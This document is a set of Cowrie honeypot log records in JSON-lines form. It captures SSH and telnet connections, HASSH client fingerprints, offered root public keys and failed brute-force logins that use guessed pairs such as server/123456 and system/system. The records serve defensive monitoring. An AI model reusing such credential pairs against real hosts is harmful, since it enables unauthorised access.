{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:21.067473Z","src_ip":"103.75.199.4","session":"f84472c71ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:21.341624Z","src_ip":"103.75.199.4","session":"f84472c71ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:22.434869Z","src_ip":"103.75.199.4","session":"f84472c71ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00453925132751,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:26.416731Z","src_ip":"102.67.221.40","session":"d587c19ee1da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00238847732544,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:27.468356Z","src_ip":"102.67.221.40","session":"88250169ace2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.67.221.40","src_port":14032,"dst_ip":"159.203.135.109","dst_port":23,"session":"63556ed9c339","protocol":"telnet","message":"New connection: 102.67.221.40:14032 (159.203.135.109:23) [session: 63556ed9c339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:34.448088Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53344,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f34f47c29a6","protocol":"ssh","message":"New connection: 103.75.199.4:53344 (159.203.135.109:22) [session: 6f34f47c29a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:42.870885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:42.875942Z","src_ip":"103.75.199.4","session":"6f34f47c29a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:42.966988Z","src_ip":"103.75.199.4","session":"6f34f47c29a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:43.240132Z","src_ip":"103.75.199.4","session":"6f34f47c29a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:44.341535Z","src_ip":"103.75.199.4","session":"6f34f47c29a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55572,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bf14b980456","protocol":"ssh","message":"New connection: 103.75.199.4:55572 (159.203.135.109:22) [session: 7bf14b980456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:04.813740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:04.819102Z","src_ip":"103.75.199.4","session":"7bf14b980456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:04.912005Z","src_ip":"103.75.199.4","session":"7bf14b980456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:05.190559Z","src_ip":"103.75.199.4","session":"7bf14b980456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:06.286237Z","src_ip":"103.75.199.4","session":"7bf14b980456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":63692,"dst_ip":"159.203.135.109","dst_port":22,"session":"281b6b2c9755","protocol":"ssh","message":"New connection: 194.59.206.2:63692 (159.203.135.109:22) [session: 281b6b2c9755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:18.631683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:18.636043Z","src_ip":"194.59.206.2","session":"281b6b2c9755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:18.721270Z","src_ip":"194.59.206.2","session":"281b6b2c9755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:18.812909Z","src_ip":"194.59.206.2","session":"281b6b2c9755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":56396,"dst_ip":"10.17.0.5","dst_port":22,"session":"662fad8fed83","protocol":"ssh","message":"New connection: 80.94.92.182:56396 (10.17.0.5:22) [session: 662fad8fed83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:26.321200Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46230,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ca45079aaba","protocol":"ssh","message":"New connection: 103.75.199.4:46230 (159.203.135.109:22) [session: 1ca45079aaba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:26.783642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:26.788317Z","src_ip":"103.75.199.4","session":"1ca45079aaba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:26.879499Z","src_ip":"103.75.199.4","session":"1ca45079aaba","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:26.951262Z","src_ip":"80.94.92.182","session":"662fad8fed83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:26.954900Z","src_ip":"80.94.92.182","session":"662fad8fed83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:27.151553Z","src_ip":"103.75.199.4","session":"1ca45079aaba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operation","password":"operation","message":"login attempt [operation/operation] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:28.101506Z","src_ip":"80.94.92.182","session":"662fad8fed83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:28.244905Z","src_ip":"103.75.199.4","session":"1ca45079aaba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:29.404671Z","src_ip":"80.94.92.182","session":"662fad8fed83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.165.72","src_port":43752,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a605d7f568a","protocol":"ssh","message":"New connection: 74.48.165.72:43752 (10.17.0.5:22) [session: 5a605d7f568a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:46.565704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:46.570316Z","src_ip":"74.48.165.72","session":"5a605d7f568a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:46.651492Z","src_ip":"74.48.165.72","session":"5a605d7f568a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:60:f7:01:5e:e1:48:e8:f2:81:4d:eb:39:af:22:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPg0XyLZ+DHSi7q7NbF+bVAchX4gzN5q9dhKk1EYtTEFnPv1KM573OsM3HZyRdfmis1y+NYjqevZ3nuAAyrFfEUiSxSFk5Rtk2ctaP5cNTOXvnHIemOxhX/B5/3oIlZjnBy1dEALcYW7rwDq/FoZ+QBqg9NE58UE/UVBc+e1r+WYloWEZ3ZJMit188QbEGUjDyC5iO+bWnTfL1KJmG03+aFtAWbV1xwiTNgQ0YNE620i0tWrYnfUjh7oZyv3G4pv53CL+GJaNoUXrvnKwRUHGgyXD4d6c1eLbHWQyN7sAsR7K/UDkjIMpYpgaB9dOwz/MBFvvImHaRsqyBjp3SnJuH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:60:f7:01:5e:e1:48:e8:f2:81:4d:eb:39:af:22:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:46.969788Z","src_ip":"74.48.165.72","session":"5a605d7f568a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:60:f7:01:5e:e1:48:e8:f2:81:4d:eb:39:af:22:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPg0XyLZ+DHSi7q7NbF+bVAchX4gzN5q9dhKk1EYtTEFnPv1KM573OsM3HZyRdfmis1y+NYjqevZ3nuAAyrFfEUiSxSFk5Rtk2ctaP5cNTOXvnHIemOxhX/B5/3oIlZjnBy1dEALcYW7rwDq/FoZ+QBqg9NE58UE/UVBc+e1r+WYloWEZ3ZJMit188QbEGUjDyC5iO+bWnTfL1KJmG03+aFtAWbV1xwiTNgQ0YNE620i0tWrYnfUjh7oZyv3G4pv53CL+GJaNoUXrvnKwRUHGgyXD4d6c1eLbHWQyN7sAsR7K/UDkjIMpYpgaB9dOwz/MBFvvImHaRsqyBjp3SnJuH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:46.973789Z","src_ip":"74.48.165.72","session":"5a605d7f568a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:2d:7d:d1:db:77:19:02:29:04:32:3d:28:9b:0d:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTkJvRINgmYdd3/TQu/wxbfSLZx9zVbXg/iug3TP7q2bg41bi560CnDdx0NSw7ge7bDqWArlbdrAAC3cmeYSqSttO9gquXimr/2XwIlSWm8lpRYW4iNC5LIKRrnlDzWwUzTYp62sw5gXtjtrjw33lTCFpGbyqz+4wufhWrppHXnkv6tFEwKX9zGi0ZuIQXsK/b+j/pJLd9tYL12MdQOXSrrPIanv2/DSjCEGlxHj7vFAHCvKK2bS3d61ocl4dYmLUaqcWXPn+ZjFU27AYFAiidT+etLOryfOpo1C1+33sTo7oD8ty8IiqBmV7k+Ib+JYf9GytIyAoF+avUQZVCbQjgY3RS8Gc6pjNiiuVLVxZ3lg6yu7aI25DgSbSSnbukXVLqDvZh3B9xNYX1EQpxODUNhmSxOmoSpa9mdOqmibh/4TT+9nOEEgJxMQ6dEQjkbZRvp5pP/Ol4KJXQ8tPoKu4Yyw+JIoifjn/QCpUWPpiiL5gAIrXdWxh3Q+resPOfe5N2diF+Z6jNVdnz9tgiB8fEQUX4wJSUcdU3lKq4LwcTg6sOjsEJ8o9ZRNCnthd1CW4ZodLQFO7iYvzLjOGS/UojEbDNR5pgMiK3aYVlzV9RigFnO/HrqduoYaPoWDfvJaU5hV9+lA2KqD11OdTbav55Rw+zZ+7YnHAxUXwvDP6TYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:2d:7d:d1:db:77:19:02:29:04:32:3d:28:9b:0d:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:22:47.041897Z","src_ip":"74.48.165.72","session":"5a605d7f568a","protocol":"ssh"}
